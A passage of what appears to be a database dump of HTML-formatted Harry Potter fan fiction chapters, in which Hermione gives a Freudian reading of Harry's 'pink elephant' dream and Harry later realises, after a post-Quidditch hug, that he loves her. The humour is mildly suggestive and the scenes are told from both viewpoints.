to steel herself for&#8230;something.&nbsp; &#8220;Well, obviously I don&#8217;t think much of\nDivination, but I don&#8217;t think that this was some sort of warning.&nbsp; And even though a lot of Freud&#8217;s theories\nhave been discounted in the Muggle world, I think\nit&#8217;s pretty obvious that this dream involves the penis and sex&#8230;&#8221;</p>\n\n<p class="MsoNormal">Harry decided that he must be in some alternate reality, as\nhe half-listened to her lecture, because surely, SURELY, Hermione would not say\nthe words penis or sex with such disturbing consistency, or really, even, at\nall.&nbsp; This was obviously some strange\nworld, or perhaps even another dream, because she just penis again.&nbsp; In fact, she was saying it with alarming\nregularity.&nbsp; About every fourth or fifth\nword, it seemed.&nbsp; Blah, blah, blah,\nPENIS, blah, blah, blah, SEX.&nbsp; And she\nwouldn&#8217;t stop, no, she wouldn&#8217;t, she just kept on saying it and Ron was\ncoughing and Harry was sure he was going to break something if he kept that up\nand oh, look, she just said it again, penis, and Ron was still coughing and\npeople were looking at them, and Harry wondered where all his blood went\nbecause it surely wasn&#8217;t in his head and my God, did she just say vagina?</p>\n\n<p class="MsoNormal">And suddenly, as her words filtered down into his brain,\nthings began to fall horrifyingly, terrifyingly into place.&nbsp; Because as usual, Hermione was right, and\nHarry wondered how he could be so <i style="mso-bidi-font-style:normal">stupid</i>.</p>\n\n<p class="MsoNormal">A pink elephant, a bloody EXPANDING pink elephant, it came\nup to his waist and it got bigger, Ron said they happen to everyone and it was\nfaintly disturbing that this happened in Potions and Snape\nsaw it, wasn&#8217;t it, and Ron laughing and Malfoy\nlooking at it and did this mean he was gay or did it mean Malfoy\nwas or both, but there was that thing with Hermione and wasn&#8217;t going to think\nabout that, but he decided he wasn&#8217;t because the elephant was going down the\naisle toward Hermione and Malfoy seemed more like a\n&#8220;You&#8217;ve got a hole and I&#8217;ll plug it&#8221; sort of guy, so he probably didn&#8217;t care\none way or the other, and oh God, Hermione said she would solve the problem and\nthe elephant came to her and am I glad I didn&#8217;t tell her about that trumpet\nblast thing because who knows what that meant, oh wait, I do, and she said she\nloved me, and she said she <b style="mso-bidi-font-weight:normal">loved</b> me,\nand the she kissed the head of the elephant, <i style="mso-bidi-font-style:\nnormal">she kissed the damn head of the damn expanding pink elephant</i>, and\nit popped and that was my pink elephant and her aisle and I shouldn&#8217;t be\nthinking about my best friend this way, and Hermione really is a girl and she\nsaid she loved me and why won&#8217;t she STOP SAYING PENIS?</p>\n\n<p class="MsoNormal">Harry did the only thing he could under the circumstances.</p>\n\n<p class="MsoNormal">&#8220;Meep,&#8221; he whimpered.</p>\n\n<p class="MsoNormal">Hermione stopped talking (oh, thank the gods above, he\nthought) and stared at him.&nbsp; &#8220;What?&#8221;&nbsp; She looked at him more closely, her brow\nfurrowing.&nbsp; &#8220;Harry, are you alright?&nbsp; You&#8217;re all red.&nbsp; Are you sick?&#8221;&nbsp; She got up and came around the table.</p>\n\n<p class="MsoNormal">Harry watched her with wide eyes.&nbsp; He was dimly aware that Ron was no longer\nthere.&nbsp; He must have gone to get some\nwater or something and Harry was glad because that meant it was just Hermione\nhe had to lie to.&nbsp; Just\nHermione and him.</p>\n\n<p class="MsoNormal">And suddenly she was there, pressing into the side of him,\nleaning over and putting a hand on his head and he had no idea girls were so <i style="mso-bidi-font-style:normal">soft</i>.&nbsp;\nOr maybe it was just Hermione.&nbsp; He\nwas pretty sure that her breast was pressing into his arm and that was soft,\nand her hand on his forehead was soft, and God, when she turned his face\ntowards hers, even her eyes were soft.</p>\n\n<p class="MsoNormal">&#8220;Are you alright, Harry?&#8221; she repeated quietly.</p>\n\n<p class="MsoNormal">It was too much.&nbsp; This\nwas Hermione, his best friend, not just some girl, and Ron <i style="mso-bidi-font-style:\nnormal">liked</i> her for God&#8217;s sake, so what kind of friend was he to both of\nthem when he was thinking about how soft she was?&nbsp; That stupid elephant and that stupid\nrepresentation of the male libido and that stupid-</p>\n\n<p class="MsoNormal">&#8220;Penis,&#8221; Harry mumbled.</p>\n\n<p class="MsoNormal">Hermione drew back.&nbsp;\n&#8220;What did you say?&#8221; she asked, reddening slightly.</p>\n\n<p class="MsoNormal">&#8220;Er, nothing,&#8221; Harry said quickly,\nstanding up and stuffing books into his bag.&nbsp;\n&#8220;Listen, I&#8217;ve got to go because of Quidditch&#8230;stuff.&#8221;</p>\n\n<p class="MsoNormal">&#8220;But Harry,&#8221; Hermione protested, &#8220;what about studying?&nbsp; We&#8217;ve got to prepare for the O.W.L.s!&#8221;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll study for them later, I promise, but I really need to\ntake care of this.&nbsp; I can&#8217;t believe I\nforgot about it, really.&#8221;&nbsp; He finished\npacking, took a deep breath and managed to meet her eyes.&nbsp; &#8220;Tell Ron I&#8217;m sorry for abandoning him.&#8221;</p>\n\n<p class="MsoNormal">Hermione quirked an eyebrow.&nbsp; &#8220;Abandoning?&nbsp;\nThanks for the compliment.&#8221;</p>\n\n<p class="MsoNormal">Harry shook his head, smiling.&nbsp; &#8220;Not you.&nbsp;\nThe library.&nbsp; I think it gives him\nhives.&#8221;</p>\n\n<p class="MsoNormal">They grinned at each other for a moment, before Harry jerked\nhis head toward the door.&nbsp; &#8220;I gotta go.&#8221;</p>\n\n<p class="MsoNormal">And with that, he turned and got the hell away from pink\nelephants, lectures on Freud, girl parts, the word penis and Hermione.</p>\n\n\n\n\n\n\n'),
	(91, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Pink Elephants&#8212;Freud</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Author&#8217;s Note:&nbsp; </b>Quick thing.&nbsp; This is Hermione&#8217;s POV, which should become\nobvious very quickly.&nbsp; Chapter Five will\nalso be in her POV.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Girl parts are different from boy parts,&#8221; Harry announced\none day in the library.&nbsp; </p>\n\n<p class="MsoNormal">Hermione nearly dropped her quill, bun managed to hold on,\nan admirable feat considering.&nbsp; She\nraised an eyebrow.&nbsp; &#8220;And just what\nbrought on this observation, Mr. Potter?&#8221;</p>\n\n<p class="MsoNormal">Harry started and she hid a grin as he realized he had\nspoken aloud.&nbsp; Ron, on the other hand,\nhad no such compunction about hiding his amusement.&nbsp; </p>\n\n<p class="MsoNormal">&#8220;Er, well, that is&#8230;&#8221; Harry\nattempted to salvage the situation, but Hermione was sure it was beyond\nhope.&nbsp; &#8220;Neville&#8217;s been having dreams,&#8221; he\noffered.</p>\n\n<p class="MsoNormal">Hermione mentally rolled her eyes.&nbsp; Neville?&nbsp;\nHonestly, did Harry think that would work?&nbsp; Fine, she would humor him and play\nalong.&nbsp; &#8220;Neville&#8217;s been having dreams?&#8221;\nshe asked, unable to keep the disbelief out of her voice.</p>\n\n<p class="MsoNormal">&#8220;Yeah, you know,&#8221; Ron leaned forward, grinning like a\nmadman.&nbsp; &#8220;<i style="mso-bidi-font-style:\nnormal">Boy</i> dreams,&#8221; he said, waggling his eyebrows suggestively.</p>\n\n<p class="MsoNormal">Hermione quickly leaned back.&nbsp; She knew about Boy Dreams.&nbsp; Harr-er, <i style="mso-bidi-font-style:normal">Neville&#8217;s</i> or not, she didn&#8217;t want to\nhear it.&nbsp; &#8220;I don&#8217;t think I want to\nknow--&#8221; she began.</p>\n\n<p class="MsoNormal">&#8220;Pink elephants!&#8221; Harry\ninterrupted, shouting.</p>\n\n<p class="MsoNormal">What on earth had made him shout that?&nbsp; &#8220;What?&#8221;</p>\n\n<p class="MsoNormal">Harry turned an interesting shade of red that Hermione felt\nwas not at all healthy and attempted to dig himself out of the hole again.&nbsp; He began to relate a fascinating dream\ninvolving waltzing, miniature, pink elephants, a girl (who, given that this was\n<i style="mso-bidi-font-style:normal">clearly</i> Harry&#8217;s dream, was probably\nherself) who offered to solve the problem, a friend offering reassurance, tight\naisles, close bonds of friendship and&#8212;oh, sorry, did Harry just say the girl\nkissed the elephant?&nbsp; </p>\n\n<p class="MsoNormal">No, no, no.&nbsp; This\ncould not be happening.&nbsp; Harry was\nlooking at her, expecting some sort of answer, and this was all so Freudian so\nas to defy belief, but he was a fifteen year old boy&#8212;</p>\n\n<p class="MsoNormal">Ron couldn&#8217;t contain himself any longer.&nbsp; &#8220;Pink elephants?&nbsp; What the bloody hell are you--?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Harry, I think Neville had a penis dream,&#8221; Hermione blurted\nout.&nbsp; She felt faintly horrified at what\nshe had just said, but was thankful she managed to remember to use Neville&#8217;s\nname.&nbsp; Ron seemed to be in some sort of\ndistress but she couldn&#8217;t think of that now.&nbsp;\nNo, she had to come up with an explanation, preferably one that didn&#8217;t\ninvolve Freud or sex.&nbsp; Harry was looking\nat her again, and he was awfully pale, wasn&#8217;t he?&nbsp; She took a deep breath and prepared\nherself.&nbsp; No Freud, no Freud, no sex, no\npenis, she chanted to herself.&nbsp; &#8220;Well,\nobviously I don&#8217;t think much of Divination, but I don&#8217;t think that this was\nsome sort of warning.&#8221;&nbsp; So far, so good.&nbsp; &#8220;And even though a lot of Freud&#8217;s theories\nhave been discounted in the Muggle world, I think\nit&#8217;s pretty obvious that this dream involves the penis and sex&#8230;&#8221;</p>\n\n<p class="MsoNormal">Oh God, what was she saying?&nbsp;\nShe wasn&#8217;t supposed to be talking about this!&nbsp; This was supposed to be a calm discussion of\na very common occurrence for teenage boys and she wasn&#8217;t supposed to say penis\nso much!&nbsp; Hermione took a deep breath,\ncontinuing to speak, a detached part of her mind wondering why she was having\nso much trouble with words for male genitalia.&nbsp;\nPenis was the commonly accepted word, even doctors used it, maybe if she\njust said it some more, she could get over this silly inhibition.&nbsp; Penis, penis, penis.&nbsp; Oh dear, Harry looked even more horrified, if\nsuch a thing was possible.&nbsp; She tried to\nmix up the words, adding sex every once in a while, but Ron was still choking\nand Harry still looked as if he was about to faint.&nbsp; Maybe if she said vagina?&nbsp; No, no, that didn&#8217;t work at all.</p>\n\n<p class="MsoNormal">Hermione had to hand it to herself.&nbsp; She had no idea she could talk so long about\nFreudian (and more recent) theories on dreams and the unconscious mind.&nbsp; It was as if part of her mind was on\nauto-pilot, and it just continued on (liberally using the word penis), leaving\nher to ponder other matters.&nbsp;\nSpecifically, the real meaning of the dream Harry had.&nbsp; She frowned.&nbsp;\nShe had it before, she had just been thinking about it&#8230;</p>\n\n<p class="MsoNormal">Oh God.&nbsp; Oh God.&nbsp; She was right, she was right, why did she\nhave to be right when she was talking about pink elephants and aisles and it\nwas so bloody obvious that it was a penis and a vagina and the friend who gave\nreassurance was probably Ron and he said it in some laughing way about how this\nhappens to everyone and someone else was looking at it, who could that be,\nwell, all things considered it was probably Malfoy,\nand oh, wasn&#8217;t that just a hoot and I wonder if it means that Harry&#8217;s gay, no,\nit can&#8217;t because the elephant was walking towards me and why do I care about\nwho Harry&#8217;s attracted to and Malfoy might be gay\nwhich is a real shame because he&#8217;s so pretty and oh, Merlin, I just thought Malfoy was pretty but that&#8217;s doing a good job of\ndistracting me from the fact that Harry had a pink elephant walking down <i style="mso-bidi-font-style:normal">my</i> aisle because I would solve the\nproblem and that is exactly the sort of thing I would say and I&#8217;m not thinking\nabout this, but what else can I think about, I&#8217;m still saying penis, sex and\nvagina like I&#8217;m on some sort of schedule and I was doing this for him, I was\ndoing this for Harry, and I kissed the elephant, <i style="mso-bidi-font-style:\nnormal">I kissed the damn elephant</i>, and why doesn&#8217;t that scare me as much\nas it should and if Harry&#8217;s having dreams like this, he really is boy, not just\nmy best friend, but Ron is a boy too and I like him and I&#8217;m not sure if I would\nkiss his elephant and Harry is a boy and I&#8217;m not scared of him and he&#8217;s having\ndreams about me, does this mean I have dreams about him and why do I have to\nthink of all this when I can&#8217;t STOP SAYING PENIS?</p>\n\n<p class="MsoNormal">&#8220;Meep,&#8221; Harry whimpered.</p>\n\n<p class="MsoNormal">This unexpected noise brought Hermione up short.&nbsp; Finally, thankfully, she stopped\ntalking.&nbsp; &#8220;What?&#8221;&nbsp; Harry was an alarming shade of red.&nbsp; Hermione looked at him, concern and worry\nflooding her features.&nbsp; &#8220;Harry, are you\nalright?&nbsp; You&#8217;re all red.&nbsp; Are you sick?&#8221;&nbsp; She got up and moved over to him.&nbsp; If he was sick, she needed to know, needed to\nget him to the Hospital Wing.&nbsp; </p>\n\n<p class="MsoNormal">Harry just looked at her as she walked around the\ntable.&nbsp; Ron had gone sometime during her\nlecture, not that she could blame him.&nbsp;\nNow it was just Harry and her, all alone, surrounded by books&#8230;better not\nto think about that.&nbsp; </p>\n\n<p class="MsoNormal">She reached over to put a hand on his forehead, and was\nstruck by how much her Harry had grown.&nbsp;\nShe could feel the muscles in his arm bunching next to her chest, built\nand toned by five years of Quidditch.&nbsp; His shoulders and chest were broader,\ntoo.&nbsp; Suddenly, she needed to see his\nface.&nbsp; She turned his head towards her. &nbsp;His eyes were grown-up, too, full of pain and\nloss and things no fifteen year old should know about.&nbsp; But she could still see a glimmer of a boy in\nthem and that made her inexpressibly happy for some reason.&nbsp; &#8220;Are you sure you&#8217;re alright, Harry?&#8221; she\nasked, just to make sure.</p>\n\n<p class="MsoNormal">He looked at her for a long time, emotions flashing across\nhis face.&nbsp; &#8220;Penis,&#8221; he finally\nmumbled.&nbsp; </p>\n\n<p class="MsoNormal">Hermione leaned back, glancing down at his lap as she did\nso.&nbsp; She wasn&#8217;t supposed to think about\nthat.&nbsp; &#8220;What did you say?&#8221; she asked,\nblushing.</p>\n\n<p class="MsoNormal">&#8220;Er, nothing.&#8221;&nbsp; Harry got up and started pushing books into\nhis bag.&nbsp; He looked like he was trying to\nget out of here in a hurry.&nbsp; &#8220;Listen,\nI&#8217;ve got to go because of Quidditch&#8230;stuff.&#8221;</p>\n\n<p class="MsoNormal">Harry was always a terrible liar.&nbsp; &#8220;But Harry, what about studying?&nbsp; We&#8217;ve go to prepare for the O.W.L.s!&#8221;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll study for them later, I promise, but I really need to\ntake care of this.&nbsp; I can&#8217;t believe I\nforgot about it, really.&#8221;&nbsp; He finished\npacking and took a deep breath.&nbsp; It was\nlike he was steeling himself to talk to her.&nbsp;\nHe looked up at her finally.&nbsp;\n&#8220;Tell Ron I&#8217;m sorry for abandoning him.&#8221;</p>\n\n<p class="MsoNormal">Abandoning him?&nbsp; To her?&nbsp;\n&#8220;Abandoning?&nbsp; Thanks for the\ncompliment.&#8221;</p>\n\n<p class="MsoNormal">Harry smiled and shook his head.&nbsp; &#8220;Not you.&nbsp;\nThe library.&nbsp;\nI think it gives him hives.&#8221;</p>\n\n<p class="MsoNormal">She grinned at him then and he grinned back.&nbsp; She wished it could go on like this, just\nlike this, with no worries, no cares, just Harry and her.&nbsp; And Ron, of course.&nbsp; Of course, what was she saying? Just the three of them.&nbsp;\n</p>\n\n<p class="MsoNormal">Harry jerked his head.&nbsp;\n&#8220;I gotta go,&#8221; he said almost apologetically.</p>\n\n<p class="MsoNormal">And he turned, and for all the\nworld, he looked like he was running away from her and she was glad for a\nmoment.&nbsp; No more pink elephants, no more\nbroad shoulders, no minds stuck on the word penis, no narrow aisles and no\nHarry.</p>\n\n\n\n\n\n\n'),
	(91, 4, '\n\n\n\n\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Parts&#8212;Of Catching the Snitch&#8230;</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Author&#8217;s Note:&nbsp; </b>Another quick thing.&nbsp; This chapter (and the next two) take place\nsixth year.&nbsp; Things have happened among\nthe Trio off camera, as it were.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chasing the Snitch, Harry decided, was the most wonderful\nfeeling in the world.&nbsp; There really was\nnothing that could compare to flying after the golden object, and feeling the\nworld drop away from him as he twisted, turned, rose and dove after the\nglittering sphere.</p>\n\n<p class="MsoNormal">And if sometimes he caught the Snitch in record or near\nrecord time, with little or no aerial acrobatics, well, that was okay,\ntoo.&nbsp; Because catching the Snitch was the\nsecond best feeling in the world.&nbsp; The\nroar of the crowd as he presented the Snitch to them, the approval and delight\nthat he felt from them was incredible.&nbsp;\nHarry was a not a vain boy, but it was gratifying to receive attention\nfor something that he, with his own abilities, had done.&nbsp; He wasn&#8217;t the Boy-Who-Lived, or the\nBoy-Who-Had-Defeated-Voldemort-For-Five-Years-Running-Keep-Up-The-Good-Work-This-Year!\nhere.&nbsp; He was\njust Harry Potter, a boy with some natural talent, whose ferocious practicing\nhad paid off in spades.</p>\n\n<p class="MsoNormal">And so when he stood on the Quidditch pitch and opened his\nhand to show the judge the Snitch, he accepted the wild cheering and yelling\nwith a happy and open heart.&nbsp; And when\nthe heard Hermione and Ron yell his name behind him, he turned and welcomed\nthem with a wide grin.&nbsp; Ron had outpaced\nhis girlfriend by some distance, so by the time he had congratulated Harry\n(&#8220;Good job, Harry!&nbsp; The 150 points should\nhelp make up for that little incident in Hogsmeade!&#8221;),\na crowd had already formed around Harry and they quickly swept Ron away.</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221;&nbsp; He heard\nHermione&#8217;s voice over the crowd (strange that he could her over so much noise),\nwatched a parade of irritated faces move toward him and grinned.&nbsp; He knew from personal experience that\nHermione could deliver killer elbow jabs if sufficiently provoked.&nbsp; He was absurdly pleased that reaching him on\nthe pitch seemed important enough to warrant such measures from her, especially\nwhen she could easily see him later in the common room.&nbsp; His patience was rewarded when he saw\nHermione&#8217;s head pop out of the crowd, a look of intense concentration on her\nface.&nbsp; When she saw Harry, however, she\nquickly smiled.</p>\n\n<p class="MsoNormal">&#8220;Congratulations, Harry!&#8221; she shouted, and launched herself\ninto his arms.</p>\n\n<p class="MsoNormal">Harry wrapped his arms around her as if it were the most\nnatural thing in the world and lifted her off her feet.&nbsp; He felt her arms tighten around his neck and\nlaughed when she gave a little gasp when he spun around in a small circle.&nbsp; He wondered what she used to make her hair\nsmell so good.&nbsp; His face was near the\ncrook of her neck, and a lock of her hair had come down over his nose and\nmouth.</p>\n\n<p class="MsoNormal">They were pressed so close together her lips brushed his ear\nwhen she spoke.&nbsp; &#8220;This should make up\nfor--&#8221; she began in a low voice.</p>\n\n<p class="MsoNormal">&#8220;Hogsmeade, I know,&#8221; he finished,\nthe laughter tinging his voice dying out.&nbsp; She had moved a bit when she spoke and this\nhad shifted the lock of hair slightly.&nbsp;\nHe had spoken (mumbled, really) into her neck.&nbsp; His lips were on her neck.&nbsp; They had moved over her skin like&#8230;like some\nsort of kiss.&nbsp; Harry had no idea that a\ngirl&#8217;s neck could be so velvety soft.&nbsp;\nBut maybe it was just Hermione.&nbsp;\nHe moved his lips again, hearing a soft moan, wondering if the rest of\nHermione was this&#8212;</p>\n\n<p class="MsoNormal">Hermione.</p>\n\n<p class="MsoNormal">His arms tightened involuntarily around her as he realized\nwhat he had done.</p>\n\n<p class="MsoNormal">Oh, bloody double damn.</p>\n\n<p class="MsoNormal">They both jerked their heads back and stared at each\nother.&nbsp; Harry saw Hermione&#8217;s eyes flick\naround once, probably to see if anyone had noticed, but the crowd was still too\nbusy cheering to pay any particular attention to them.&nbsp; He continued to stare into her warm brown\neyes, which looked just as shocked as he felt, wondering how the hell this had\nhappened and what he was going to do now.&nbsp;\nSome sort of ritual suicide seemed like a good option.</p>\n\n<p class="MsoNormal">&#8220;I guess Ron said something already,&#8221; Hermione whispered.</p>\n\n<p class="MsoNormal">Harry suppressed a groan.&nbsp;\nRon.&nbsp; Hermione&#8217;s\nboyfriend.&nbsp; One\nof his two best friends.&nbsp; His\nother one currently pushed against him, where he could feel all sorts of\ninteresting curves and dips.&nbsp; Like how\nher breasts were pressed to his chest and that really was a lovely feeling, wasn&#8217;t it?&nbsp; Or how his arms and hands were wrapped around her small waist.&nbsp; Yes, that certainly was very nice.&nbsp; What about the way her legs were loosely\nentwined with his, part of his stupid, idiotic, loudmouth brain wondered.&nbsp; That was perfectly acceptable as well.</p>\n\n<p class="MsoNormal">Double bloody double damn.</p>\n\n<p class="MsoNormal">He needed to stop touching her.&nbsp; He needed to stop touching her right\nnow.&nbsp; He loosened his hold on her and she\nslowly slid down his body.&nbsp; Well, that\nwas the stupidest thing he head ever done.&nbsp;\nIf a stationary Hermione against him was bad, a full-body-contact,\nmoving Hermione was pure torture.&nbsp; He grit his teeth until her feet hit the ground and she\nblessedly stopped moving.&nbsp; His hands, of\ntheir own volition, settled on the gentle swell of her hips.&nbsp; His hands fit very nicely there and that only\nserved to increase his misery.</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m so sorry,&#8221; he whispered.</p>\n\n<p class="MsoNormal">He watched her as her as she tilted her head and gave him a\nsmall smile.&nbsp; &#8220;Oh, Harry&#8230;&#8221; she\nmurmured.&nbsp; Her hand came up and brushed a\npiece of hair off his forehead.&nbsp; She was\nabout to say something more, when a sudden movement in the crowd pushed Harry\nforward and he smashed into Hermione.&nbsp;\nHis lips grazed her cheek and his arms went around her again.&nbsp; </p>\n\n<p class="MsoNormal">&#8220;Hey, someone tell Ron!&nbsp;\nHarry&#8217;s making a move on Hermione!&#8221; a voice in the crowd called.&nbsp; The pack quickly shifted its attention to the\nSeeker and the girl he held in his arms.&nbsp;\nHarry could feel the blush coming up his cheeks.&nbsp; How was he going to explain this?</p>\n\n<p class="MsoNormal">&#8220;Oh, stop being so stupid!&#8221;&nbsp;\nHermione yelled back, indignant.&nbsp;\n&#8220;Honestly!&nbsp; Some people can&#8217;t see\ntwo people hug without assuming something illicit!&#8221;</p>\n\n<p class="MsoNormal">Harry smiled a bit at this, but then he felt Hermione&#8217;s arms\ncome around his neck and tug at him.&nbsp; He\nbent down, wondering what she was getting at, but then wished she hadn&#8217;t when\nhe felt her press a warm kiss onto his forehead.&nbsp; Oh, Merlin, her lips were so soft.&nbsp; Her lips brushed over his scar, and then they\nwere gone.&nbsp; He looked at her in shock as\nshe pulled away.</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re my best friend, Harry,&#8221; she said, laying a hand on\nher chest and he flinched a little, remembering his dream from last year.&nbsp; &#8220;Don&#8217;t ever think otherwise,&#8221; she told him\nseriously.&nbsp; His shoulders slumped at the\nimplication of her words.&nbsp; Best\nfriend.&nbsp; Don&#8217;t think about anything\nelse.&nbsp; Well, why would he, anyway, he\nthought angrily.&nbsp; Ron was the one in love\nwith her, not him.&nbsp; </p>\n\n<p class="MsoNormal">Except, of course, that he was in love\nwith her, he realized with a dull sort of horror.&nbsp; He loved her lips and her hair and that warm\nsoft spot on her neck, the way she kept cool under fire and could think clearly\nwhen his mind was a muddle, the way she didn&#8217;t flinch from looking out for him\nwhether that meant reporting his Firebolt in third\nyear or calmly explaining that pink elephants represented penises and the\nimplications thereof last year, the way she devoured books and loved learning\nnew things, how she always added extra rolls of parchment to her essays because\nhow could she not, her sharp elbows, her inordinate love of the library, her\nbravery, her whip-smart brain and her compassion.&nbsp; She was just&#8230;Hermione and he couldn&#8217;t do\nanything <i>but</i> love her and he did so much that he felt it suffuse his\nentire being so he had to take a step back from her because first and foremost,\nshe and Ron were his best friends and this was such a terrible betrayal, he had\nto get away from her.</p>\n\n<p class="MsoNormal">Hermione grabbed his hand and tangled her fingers in\nhis.&nbsp; &#8220;You&#8217;re my best friend,&#8221; she\nrepeated.&nbsp; &#8220;No matter\nwhat happens.&#8221;</p>\n\n<p class="MsoNormal">Harry looked at her, but the crowd shifted again and this\ntime it took Hermione away from him.&nbsp;\n&#8220;You&#8217;re my best friend, Harry Potter!&nbsp;\nDon&#8217;t you forget that!&#8221; she yelled as she was carried away.</p>\n\n<p class="MsoNormal">Harry gazed after her, a heavy emotion weighing on his\nheart, unfortunately connected to what he now realized.&nbsp; </p>\n\n<p class="MsoNormal">Holding Hermione was the best feeling in the world.&nbsp; And it could never happen again.</p>\n\n\n\n\n\n\n'),
	(91, 5, '\n\n\n\n\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Parts&#8212;And Hermione</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal">Watching Harry play Quidditch, Hermione decided, was\nexhilarating in a completely exhausting and worrying way.&nbsp; He didn&#8217;t seem to care at all about his\npersonal safety and merrily went into steep, death-defying dives and\nstomach-lurching loop-de-loops, all in the name of catching the all important\nSnitch.&nbsp; This, of course, was a normal\npart of the game.&nbsp; Every so often,\nthough, Hermione figured she was doubly blessed because not only did she have\nto worry about so called &#8220;standard Quidditch maneuvers&#8221; but a hexed broomstick\nor a rogue Bludger would be thrown into the mix.&nbsp; Just in case she didn&#8217;t have enough to\nagonize over every game.&nbsp; </p>\n\n<p class="MsoNormal">&#8220;You okay?&#8221; Ron asked from beside her.&nbsp; He squeezed her hand and looked at her,\nconcerned over her worried countenance.</p>\n\n<p class="MsoNormal">Hermione smiled at him reassuringly.&nbsp; He really was sweet.&nbsp; &#8220;I&#8217;m alright.&nbsp;\nJust wondering if Harry&#8217;s going to have to deal with\nsome hexed Quidditch gear this year.&#8221; </p>\n\n<p class="MsoNormal">Ron rolled his eyes.&nbsp;\n&#8220;You worry too much.&nbsp; Nothing&#8217;s\ngoing to happen to him here-&#8221; <i style="mso-bidi-font-style:normal">except for\nthat Tri-Wizard Cup portkey</i>, Hermione thought\ndarkly, &#8220;not while you and Dumbledore are here,&#8221; he said, smiling at her.&nbsp; &#8220;Everything will be&#8212;hey look!&nbsp; Harry&#8217;s found the Snitch!&#8221; he shouted.</p>\n\n<p class="MsoNormal">Hermione forced herself to look as Harry went into a dive,\ncompletely intent on catching the Snitch.&nbsp;\nJust before she was sure he would slam into the ground, he pulled up,\nbrought his broom to a halt and jumped off.&nbsp;\nHe opened his hand, revealing a small, fluttering object and the crowd\nburst into cheers.&nbsp; She faintly heard Ron\nshout to follow him as he and the rest of the mass of people swarmed onto the\npitch, and she started in that direction, but she had to calm herself first.&nbsp; Another\nday, another Quidditch match and Harry was alive.&nbsp; He was fine, she told herself firmly.&nbsp; Go congratulate him.&nbsp; He really was spectacular on that dive.</p>\n\n<p class="MsoNormal">She looked down at the mob of people and wondered how she\nwas going to get through.&nbsp; Well, no\nmatter.&nbsp; She would get through, one way\nor another.&nbsp; Nothing was going to get\nbetween her and Harry now that he was safely on the ground.&nbsp; She made her way to the edge of the crowd and\nstarted weaving her way toward the center.&nbsp;\nAt first it was relatively easy going, but the closer she got to Harry,\nthe denser the crowd became.&nbsp; She could\njust see his face.&nbsp; &#8220;Harry!&#8221; she shouted,\ntrying to get his attention.&nbsp; She saw him\nlook in her direction, but was soon distracted with the reality now facing\nher.&nbsp; There was a solid wall of people\nbetween her and Harry.&nbsp; She gave a mental\nshrug and dove in, elbowing people with impunity.&nbsp; She was going to get to Harry and if someone\ndidn&#8217;t get out of the way (my God, did someone just pinch her bum?), they had\nto deal with the consequences.&nbsp; She heard\ndiscontented grumblings around her, but pressed forward.&nbsp; She finally made it to a small opening and\nlooked around.&nbsp; Harry, for some reason\ngrinning widely, was just to her left.&nbsp;\nShe smiled at finding him and at his happy look.&nbsp; </p>\n\n<p class="MsoNormal">&#8220;Congratulations, Harry!&#8221; she shouted and jumped into his arms.</p>\n\n<p class="MsoNormal">She wrapped her arms around his neck and felt his arms\nsqueeze around her middle.&nbsp; He lifted her\nclear off her feet and she gave a small gasp of surprise when he suddenly spun\naround in a circle.&nbsp; She giggled a bit,\nwondering why he was in such a good mood (they had won the game, of course, but\nhe had never been this carefree before), but then dismissed the thought.&nbsp; She felt his laughter rumble through him, and\nit made for a pleasant vibration along her body.</p>\n\n<p class="MsoNormal">They were hugging so tightly her lips brushed his ear when\nshe spoke.&nbsp; &#8220;This should make up for--&#8221;\nand she shifted slightly because she felt something tugging her hair by her\nneck.&nbsp; Suddenly, something warm was\npressed up against the crook of her neck and she sucked in a breath.</p>\n\n<p class="MsoNormal">&#8220;Hogsmeade, I know,&#8221; Harry\nmurmured.&nbsp; His lips, oh God, those were\nhis lips that had moved over her skin, and she could feel where his breath had\nswept across her skin, warm and damp, and oh, he was moving his lips <i style="mso-bidi-font-style:normal">again</i>, and she wondered how anything\ncould feel so good. &nbsp;Please, she silently\nbegged, please keep doing that Harry, please&#8212;</p>\n\n<p class="MsoNormal">Harry.</p>\n\n<p class="MsoNormal">She felt his arms tighten around her and she felt a little\ndizzy.</p>\n\n<p class="MsoNormal">Oh, hell.</p>\n\n<p class="MsoNormal">She jerked her head back and found herself looking into\nHarry&#8217;s eyes.&nbsp; She looked around quickly,\nneeding to avoid his gaze for the moment and wondering if anyone had witnessed\nwhat had just occurred.&nbsp; Fortunately, it\nseemed that everyone was still occupied with cheering the team.&nbsp; She brought her gaze back to Harry&#8217;s and\nlooked into his brilliant green eyes.&nbsp;\nWhat was she supposed to say?</p>\n\n<p class="MsoNormal">&#8220;I guess Ron said something already,&#8221; she whispered, and\nthen gave a silent groan.</p>\n\n<p class="MsoNormal">Ron.&nbsp; Her\nboyfriend.&nbsp; Harry&#8217;s best friend.&nbsp; One of <i style="mso-bidi-font-style:normal">her</i>\nbest friends.&nbsp; The other one currently\nholding her tight against him, letting her feel all the changes adolescence and\nsix years of Quidditch had brought.&nbsp; A\nwide, firm chest that was pressed against her now sensitive breasts.&nbsp; Strong, sinewy arms that wrapped around her\nwaist and held her effortlessly.&nbsp; Long,\nlean legs that supported both of them.</p>\n\n<p class="MsoNormal">Oh, holy hell.</p>\n\n<p class="MsoNormal">He let go of her slightly and she slid down his body.&nbsp; She watched his face, saw his jaw muscles\nclench and wondered if this full body contact could possibly as hard for him as\nit was for her.&nbsp; It wasn&#8217;t exactly easy\nfeeling the length of his body beside 